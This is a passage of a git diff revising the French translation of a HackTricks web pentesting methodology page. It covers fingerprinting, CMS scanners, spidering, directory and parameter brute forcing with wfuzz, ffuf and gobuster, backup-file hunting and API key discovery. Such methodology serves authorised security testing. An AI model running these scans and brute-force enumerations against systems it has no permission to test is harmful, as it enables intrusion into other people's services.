Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} ## Informations de Base -Le service web est le service le plus **commun et le plus étendu** et de nombreux **types de vulnérabilités différents** existent. +Le service web est le service le plus **commun et étendu** et de nombreux **types de vulnérabilités différents** existent. **Port par défaut :** 80 (HTTP), 443 (HTTPS) ```bash @@ -43,20 +43,20 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ## Résumé de la méthodologie -> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devriez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre. +> Dans cette méthodologie, nous supposons que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre. * [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder à l'esprit pendant le reste du test si vous parvenez à identifier avec succès la technologie. * [ ] Y a-t-il une **vulnérabilité connue** de la version de la technologie? -* [ ] Utilisation d'une **technologie bien connue**? Une **astuce utile** pour extraire plus d'informations? +* [ ] Utilisation d'une **technologie bien connue**? Des **astuces utiles** pour extraire plus d'informations? * [ ] Un **scanner spécialisé** à exécuter (comme wpscan)? -* [ ] Lancez des **scanners à usage général**. On ne sait jamais s'ils vont trouver quelque chose ou s'ils vont trouver des informations intéressantes. -* [ ] Commencez par les **vérifications initiales**: **robots**, **sitemap**, erreur **404** et analyse **SSL/TLS** (si HTTPS). -* [ ] Commencez à **spider** la page web: Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres possibles** utilisés. Vérifiez également les **découvertes spéciales**. -* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être spideré._ -* [ ] **Brute-Force des répertoires**: Essayez de forcer le passage à tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**. -* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être forcé._ -* [ ] Vérification des **sauvegardes**: Testez si vous pouvez trouver des **sauvegardes** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes. -* [ ] **Brute-Force des paramètres**: Essayez de **trouver des paramètres cachés**. +* [ ] Lancez des **scanners à usage général**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intéressantes. +* [ ] Commencez par les **vérifications initiales** : **robots**, **plan du site**, erreur **404** et analyse **SSL/TLS** (si HTTPS). +* [ ] Commencez à **explorer** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres** possibles utilisés. Vérifiez également les **découvertes spéciales**. +* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du bruteforcing ou de l'exploration, il doit être exploré._ +* [ ] **Exploration de répertoires par force brute** : Essayez de forcer par la force brute tous les répertoires découverts à la recherche de nouveaux **fichiers** et **répertoires**. +* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du bruteforcing ou de l'exploration, il doit être soumis à une attaque par force brute._ +* [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes. +* [ ] **Attaque par force brute des paramètres** : Essayez de **trouver des paramètres cachés**. * [ ] Une fois que vous avez **identifié** tous les **points d'extrémité** possibles acceptant une **entrée utilisateur**, vérifiez tous les types de **vulnérabilités** qui y sont liées. * [ ] [Suivez cette liste de contrôle](../../pentesting-web/web-vulnerabilities-methodology/) @@ -65,7 +65,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ### Identifier Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\ -Les **en-têtes HTTP et les cookies de la réponse** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** pourraient également être utiles. +Les **en-têtes HTTP et les cookies de la réponse** peuvent être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. **L'analyse Nmap** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** peuvent également être utiles. ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -123,12 +123,12 @@ Si l'application Web utilise une **technologie/plateforme bien connue** réperto Si le **code source** de l'application est disponible sur **github**, en plus de réaliser un **test White box** de l'application par **vous-même**, il y a **des informations** qui pourraient être **utiles** pour le **test Black-Box** actuel : -* Y a-t-il un fichier **Journal des modifications ou Lisez-moi ou Version** ou tout autre élément avec des **informations de version accessibles** via le web ? +* Y a-t-il un fichier **Journal des modifications ou Lisez-moi ou Version** ou toute information de **version accessible** via le web ? * Comment et où sont sauvegardées les **informations d'identification** ? Y a-t-il un fichier (accessible ?) avec des informations d'identification (noms d'utilisateur ou mots de passe) ? -* Les **mots de passe** sont-ils en **texte clair**, **chiffrés** ou quel **algorithme de hachage** est utilisé ? +* Les **mots de passe** sont-ils en **clair**, **chiffrés** ou quel **algorithme de hachage** est utilisé ? * Utilise-t-il une **clé principale** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ? * Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ? -* Y a-t-il des **informations intéressantes dans les problèmes** (résolus et non résolus) de github ? Ou dans l'**historique des validations** (peut-être un **mot de passe introduit dans une ancienne validation**) ? +* Y a-t-il des **informations intéressantes dans les problèmes** github (résolus et non résolus) ? Ou dans l'**historique des validations** (peut-être un **mot de passe introduit dans une ancienne validation**) ? {% content-ref url="code-review-tools.md" %} [code-review-tools.md](code-review-tools.md) @@ -152,10 +152,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi Si un CMS est utilisé, n'oubliez pas d'**exécuter un scanner**, peut-être que quelque chose de juteux est trouvé : -- [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\ -- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** sites web pour des problèmes de sécurité. (GUI)\ -- [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\ -- **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **ou** [**(M)oodle**](moodle.md)\ +- [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish** +- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** sites web pour des problèmes de sécurité. (GUI) +- [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart** +- **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **ou** [**(M)oodle**](moodle.md) - [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d @@ -163,7 +163,7 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> À ce stade, vous devriez déjà avoir des informations sur le serveur web utilisé par le client (si des données sont fournies) et quelques astuces à garder à l'esprit pendant le test. Si vous avez de la chance, vous avez peut-être même trouvé un CMS et exécuté un scanner. +> À ce stade, vous devriez déjà avoir des informations sur le serveur web utilisé par le client (si des données sont fournies) et quelques astuces à garder à l'esprit pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et exécuté un scanner. ## Découverte de l'application Web étape par étape @@ -194,14 +194,14 @@ Les serveurs web peuvent **avoir un comportement inattendu** lorsqu'ils reçoive Si vous découvrez que **WebDav** est **activé** mais que vous n'avez pas suffisamment d'autorisations pour **télécharger des fichiers** dans le dossier racine, essayez de : * **Forcer** les identifiants par **brute force** -* **Télécharger des fichiers** via WebDav dans le **reste** des **dossiers trouvés** à l'intérieur de la page web. Vous pouvez avoir les autorisations pour télécharger des fichiers dans d'autres dossiers. +* **Téléchargez des fichiers** via WebDav dans le **reste** des **dossiers trouvés** à l'intérieur de la page web. Vous pouvez avoir l'autorisation de télécharger des fichiers dans d'autres dossiers. ### **Vulnérabilités SSL/TLS** * Si l'application **ne force pas l'utilisation de HTTPS** à un moment donné, alors elle est **vulnérable aux attaques de l'homme du milieu (MitM)** * Si l'application **envoie des données sensibles (mots de passe) en utilisant HTTP**. Alors c'est une vulnérabilité élevée. -Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de Bug Bounty, ces types de vulnérabilités ne seront probablement pas acceptées) et utilisez [**a2sv** ](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités: +Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de prime de bug, ces types de vulnérabilités ne seront probablement pas acceptées) et utilisez [**a2sv** ](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -214,41 +214,41 @@ sslyze --regular Lancez une sorte d'**araignée** à l'intérieur du web. Le but de l'araignée est de **trouver autant de chemins que possible** à partir de l'application testée. Par conséquent, le crawling web et les sources externes doivent être utilisés pour trouver autant de chemins valides que possible. -* [**gospider**](https://github.com/jaeles-project/gospider) (go) : Araignée HTML, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -* [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : Araignée HTML, avec LinkFinder pour les fichiers JS et Archive.org comme source externe. -* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python) : Araignée HTML, indique également les "fichiers sensibles". -* [**evine**](https://github.com/saeeddhqan/evine) (go) : Araignée HTML interactive en CLI. Recherche également dans Archive.org. +* [**gospider**](https://github.com/jaeles-project/gospider) (go) : araignée HTML, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +* [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : araignée HML, avec LinkFider pour les fichiers JS et Archive.org comme source externe. +* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python) : araignée HTML, indique également les "fichiers juteux". +* [**evine**](https://github.com/saeeddhqan/evine) (go) : araignée HTML interactive en CLI. Il recherche également dans Archive.org. * [**meg**](https://github.com/tomnomnom/meg) (go) : Cet outil n'est pas une araignée mais peut être utile. Vous pouvez simplement indiquer un fichier avec des hôtes et un fichier avec des chemins et meg récupérera chaque chemin sur chaque hôte et enregistrera la réponse. -* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go) : Araignée HTML avec des capacités de rendu JS. Cependant, il semble ne pas être maintenu, la version précompilée est ancienne et le code actuel ne compile pas. -* [**gau**](https://github.com/lc/gau) (go) : Araignée HTML qui utilise des fournisseurs externes (wayback, otx, commoncrawl). +* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go) : araignée HTML avec des capacités de rendu JS. Cependant, il semble qu'il ne soit pas maintenu, la version précompilée est ancienne et le code actuel ne compile pas. +* [**gau**](https://github.com/lc/gau) (go) : araignée HTML qui utilise des fournisseurs externes (wayback, otx, commoncrawl). * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script trouvera des URL avec des paramètres et les listera. -* [**galer**](https://github.com/dwisiswant0/galer) (go) : Araignée HTML avec des capacités de rendu JS. -* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : Araignée HTML, avec des capacités de beauté JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il pourrait également être intéressant de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder. -* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans la source HTML et les fichiers javascript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la cybersécurité. +* [**galer**](https://github.com/dwisiswant0/galer) (go) : araignée HTML avec des capacités de rendu JS. +* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : araignée HTML, avec des capacités de beauté JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il pourrait également être intéressant de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder. +* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans la source HTML et les fichiers javascript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique. * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Un script python 2.7 utilisant Tornado et JSBeautifier pour analyser les URL relatives à partir de fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble ne pas être maintenu. -* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donné un fichier (HTML), il extraira les URL à partir de celui-ci en utilisant une expression régulière astucieuse pour trouver et extraire les URL relatives des fichiers moches (minifiés). +* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donné un fichier (HTML), il extraira les URL en utilisant une expression régulière astucieuse pour trouver et extraire les URL relatives des fichiers moches (minifiés). * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassemble des informations intéressantes à partir de fichiers JS en utilisant plusieurs outils. * [**subjs**](https://github.com/lc/subjs) (go) : Trouver des fichiers JS. -* [**page-fetch**](https://github.com/detectify/page-fetch) (go) : Charge une page dans un navigateur sans tête et affiche toutes les URL chargées pour charger la page. +* [**page-fetch**](https://github.com/detectify/page-fetch) (go) : Charge une page dans un navigateur sans tête et imprime toutes les URL chargées pour charger la page. * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust) : Outil de découverte de contenu mélangeant plusieurs options des outils précédents. * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions) : Une extension Burp pour trouver des chemins et des paramètres dans les fichiers JS. * [**Sourcemapper**](https://github.com/denandz/sourcemapper) : Un outil qui, étant donné l'URL .js.map, vous fournira le code JS beatifié. -* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : C'est un outil utilisé pour découvrir des points de terminaison pour une cible donnée. +* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : C'est un outil utilisé pour découvrir les points de terminaison pour une cible donnée. * [**waymore**](https://github.com/xnl-h4ck3r/waymore) : Découvrir des liens à partir de la machine wayback (en téléchargeant également les réponses dans le wayback et en recherchant plus de liens). -* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawl (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques. -* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un avancé multi-fonction GUI web security Crawler/Spider conçu pour les professionnels de la cybersécurité. -* [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes du code source JavaScript. -* [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple extension **Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête pour créer une liste de mots personnalisée pour le fuzzing et l'énumération. +* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawler (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques. +* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un Crawler/Spider de sécurité web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité. +* [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et un [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes du code source JavaScript. +* [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple extension **Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête afin de créer une liste de mots personnalisée pour le fuzzing et l'énumération. ### Brute Force directories and files -Commencez le **brute-force** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez effectuer ce brute-forcing **de manière récursive** et ajouter au début de la liste de mots utilisée les noms des répertoires trouvés).\ +Commencez le **brute-forcing** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez effectuer ce brute-forcing de manière **récursive** et ajouter au début de la liste de mots utilisée les noms des répertoires trouvés).\ Outils : -* **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et ** lent**) mais fonctionnel. Autorise les certificats auto-signés et la recherche récursive. Trop lent par rapport aux autres options. +* **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et ** lent **) mais fonctionnel. Autorise les certificats auto-signés et la recherche récursive. Trop lent par rapport aux autres options. * [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python) : Il n'autorise pas les certificats auto-signés mais permet la recherche récursive. -* [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il autorise les certificats auto-signés, il n'a pas de recherche **récursive**. -* [**Feroxbuster**](https://github.com/epi052/feroxbuster) - Rapide, prend en charge la recherche récursive. +* [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il autorise les certificats auto-signés, il **n'a pas** de recherche **récursive**. +* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, prend en charge la recherche récursive**. * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**ffuf**](https://github.com/ffuf/ffuf) - Rapide : `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` * [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas une araignée mais un outil qui, étant donné la liste des URL trouvées, supprimera les URL "dupliquées". @@ -261,7 +261,7 @@ Outils : * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt) * Dictionnaire inclus dans **Dirsearch** * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) -* [Listes de mots Assetnote](https://wordlists.assetnote.io) +* Wordlists Assetnote * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) * raft-large-directories-lowercase.txt * directory-list-2.3-medium.txt @@ -278,7 +278,7 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq ### Ce qu'il faut vérifier sur chaque fichier trouvé -* [**Vérificateur de liens brisés**](https://github.com/stevenvachon/broken-link-checker) : Trouvez les liens brisés à l'intérieur des fichiers HTML qui pourraient être sujets à des prises de contrôle. +* [**Vérificateur de liens brisés**](https://github.com/stevenvachon/broken-link-checker) : Trouvez les liens brisés à l'intérieur des fichiers HTML qui pourraient être sujets à des prises de contrôle * **Sauvegardes de fichiers** : Une fois que vous avez trouvé tous les fichiers, recherchez des sauvegardes de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Les variations courantes pour nommer une sauvegarde sont : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez également utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** * **Découverte de nouveaux paramètres** : Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramètres cachés. Si possible, vous pourriez essayer de rechercher** des paramètres cachés dans chaque fichier web exécutable. * _Tous les wordlists par défaut d'Arjun :_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) @@ -286,7 +286,7 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq * _Assetnote "parameters\_top\_1m" :_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _nullenc0de "params.txt" :_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * **Commentaires** : Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **identifiants** ou une **fonctionnalité cachée**. -* Si vous participez à un **CTF**, une "astuce" courante est de **cacher des informations** à l'intérieur des commentaires à **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que les données ne soient pas visibles si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et de **cacher des informations** dans un commentaire en bas de la page web. +* Si vous participez à un **CTF**, une "astuce" courante est de **cacher des informations** à l'intérieur des commentaires sur la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que les données ne soient pas visibles si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et de **cacher des informations** dans un commentaire en bas de la page web. * **Clés API** : Si vous **trouvez une clé API**, il existe un guide indiquant comment utiliser les clés API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) * Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier à quelles APIs la clé peut accéder. * **Buckets S3** : Lors de l'exploration, vérifiez si un **sous-domaine** ou un **lien** est lié à un **bucket S3**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/). @@ -300,7 +300,7 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq * Recherchez des **liens** vers d'autres fichiers à l'intérieur des fichiers **CSS**. * [Si vous trouvez un fichier _**.git**_, des informations peuvent être extraites](git.md) * Si vous trouvez un fichier _**.env**_, des informations telles que des clés API, des mots de passe de bases de données et d'autres informations peuvent être trouvées. -* Si vous trouvez des **points de terminaison API**, vous [devriez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils leur ressembleront probablement. +* Si vous trouvez des **points de terminaison API**, vous [devriez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils ressembleront probablement à des fichiers. * **Fichiers JS** : Dans la section d'exploration, plusieurs outils permettant d'extraire des chemins à partir de fichiers JS ont été mentionnés. Il serait également intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines situations, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pourriez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.** * Vous devriez également vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables. * **Déobfuscateur et désassembleur JavaScript** : [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) @@ -328,16 +328,16 @@ Vous pouvez **automatiser** cela en utilisant le plugin **nmap** "_http-ntlm-inf **Redirection HTTP (CTF)** -Il est possible d'**insérer du contenu** dans une **redirection**. Ce contenu ne sera pas affiché à l'utilisateur (car le navigateur exécutera la redirection), mais quelque chose pourrait être **caché** à l'intérieur. +Il est possible de **placer du contenu** à l'intérieur d'une **redirection**. Ce contenu **ne sera pas affiché à l'utilisateur** (car le navigateur exécutera la redirection), mais quelque chose pourrait être **caché** à l'intérieur. ### Vérification des vulnérabilités Web -Maintenant qu'une énumération complète de l'application Web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la liste de contrôle ici : +Maintenant qu'une énumération complète de l'application Web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la liste de contrôle ici: {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %} [web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/) {% endcontent-ref %} -Trouvez plus d'informations sur les vulnérabilités Web dans : +Trouvez plus d'informations sur les vulnérabilités Web dans: * [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) * [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html) @@ -347,13 +347,13 @@ Trouvez plus d'informations sur les vulnérabilités Web dans : Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour surveiller les pages à la recherche de modifications qui pourraient introduire des vulnérabilités. -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). {% embed url="https://www.stmcyber.com/careers" %} -### Commandes Automatiques HackTricks +### Commandes automatiques HackTricks ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. @@ -427,9 +427,9 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -D'autres façons de soutenir HackTricks: +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 45471daa4..0e11ad6bc 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -8,15 +8,15 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* 